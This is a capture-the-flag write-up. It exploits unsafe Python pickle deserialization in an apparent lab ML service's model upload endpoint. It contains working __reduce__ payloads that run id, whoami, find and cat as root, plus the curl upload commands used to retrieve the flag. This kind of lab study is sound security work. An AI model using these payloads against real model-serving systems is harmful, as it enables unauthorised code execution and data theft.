Skip to main content

Command Palette

Search for a command to run...

Pickle Deserialization RCE via Model Upload Endpoint

Updated
4 min read
S

I write to revisit topics I’m interested in or when I’m bored and curious.


Link: https://www.ratctf.com/challenges/synapse-lab

This challenge revolves around a classic but still heavily abused primitive: unsafe Python pickle deserialization exposed through a model upload API.

The attack surface looked like a typical ML-serving backend exposing .pkl models and an upload endpoint that trusts user-controlled serialized input.

1. Initial Recon

Basic service enumeration:

nmap -sV -p 30590,30589 45.79.202.95

Observations

  • HTTP service running on 30590

  • SSH service on 30589

  • Primary attack surface: web API

At this stage, focus shifted to API enumeration rather than UI interaction.


2. API Surface Discovery

The backend exposed a model listing endpoint:

curl http://45.79.202.95:30590/api/models

Response

{
  "models": [
    "sentiment-v2.pkl",
    "fraud-detector.pkl",
    "price-predictor.pkl"
  ]
}

Key insight

  • Backend is clearly ML-oriented

  • .pkl extension strongly suggests Python pickle serialization

  • High probability of unsafe deserialization if models are user-influenced


3. Upload Endpoint Discovery

Further probing revealed an upload endpoint:

curl http://45.79.202.95:30590/upload

Behavior

  • Accepts multipart/form-data

  • Field name: model

  • Server-side processing implied deserialization using pickle.loads()

At this point, the attack surface is effectively:

User-controlled pickle → server-side deserialization → potential RCE


4. Exploitation Strategy

Python’s pickle module allows arbitrary code execution through object reconstruction hooks such as:

  • __reduce__

  • __setstate__

If the server deserializes attacker-controlled data, we can trigger OS command execution.


5. Initial RCE Proof of Concept

Payload generation

import pickle
import os

class Exploit:
    def __reduce__(self):
        return (os.system, ("id",))

with open("payload.pkl", "wb") as f:
    pickle.dump(Exploit(), f)

Upload

curl -F "model=@payload.pkl" http://45.79.202.95:30590/upload

Result

0

Interpretation

  • Command executed successfully

  • Exit code returned (0)

  • Confirms deserialization execution context


6. Confirming Execution Context

To validate privilege level:

import pickle
import subprocess

class Exploit:
    def __reduce__(self):
        return (subprocess.check_output, (["whoami"],))

with open("payload.pkl", "wb") as f:
    pickle.dump(Exploit(), f)

Upload result

b'root\n'

Conclusion

  • Remote code execution confirmed

  • Execution context: root

This dramatically expands attack surface: full filesystem access.


7. Post-Exploitation Enumeration

Now that we have RCE, focus shifted to environment mapping.

Filesystem discovery payload

import pickle
import subprocess

class Exploit:
    def __reduce__(self):
        return (
            subprocess.check_output,
            (["find", "/opt/synapse", "-type", "f"],)
        )

with open("payload.pkl", "wb") as f:
    pickle.dump(Exploit(), f)

Output

/opt/synapse/models/.system/.root_flag
/opt/synapse/app.py
/opt/synapse/templates/...
/opt/synapse/venv/...

Key discovery

Hidden file:

/opt/synapse/models/.system/.root_flag

This strongly suggests a deliberately hidden flag location inside model storage structure.


8. Flag Extraction

Final payload:

import pickle
import subprocess

class Exploit:
    def __reduce__(self):
        return (
            subprocess.check_output,
            (["cat", "/opt/synapse/models/.system/.root_flag"],)
        )

with open("payload.pkl", "wb") as f:
    pickle.dump(Exploit(), f)

Upload

curl -F "model=@payload.pkl" http://45.79.202.95:30590/upload

Result: got flag


9. Misleading Approaches

Attempt 1: Direct file download

curl http://45.79.202.95:30590/models/sentiment-v2.pkl

Result:

  • 404 response

  • No direct file access


Attempt 2: Local pickle inspection

import pickle

with open("sentiment.pkl","rb") as f:
    pickle.load(f)

Error:

_pickle.UnpicklingError: invalid load key '<'

Indicates:

  • Not a real pickle file

  • Likely HTML error page or proxy response


Attempt 3: Python internals enumeration

import sys
print(sys.modules.keys())

Result:

  • Only standard library modules visible

  • No application-specific modules exposed


Attempt 4: GC object scanning

No exploitable objects found in heap space.


Attempt 5: Broad filesystem enumeration

find /opt / -type f -name "*.pkl"

Result:

  • No meaningful model artifacts outside /opt/synapse

  • Noise from virtual environment paths


10. Key Takeaways

This was a straightforward but clean example of:

  • Unsafe deserialization via pickle.loads()

  • Direct RCE via __reduce__ gadget

  • Full system compromise through a single upload endpoint

Exploitation chain

Upload endpoint → pickle.loads() → gadget execution → OS command execution → root shell context → filesystem traversal → flag retrieval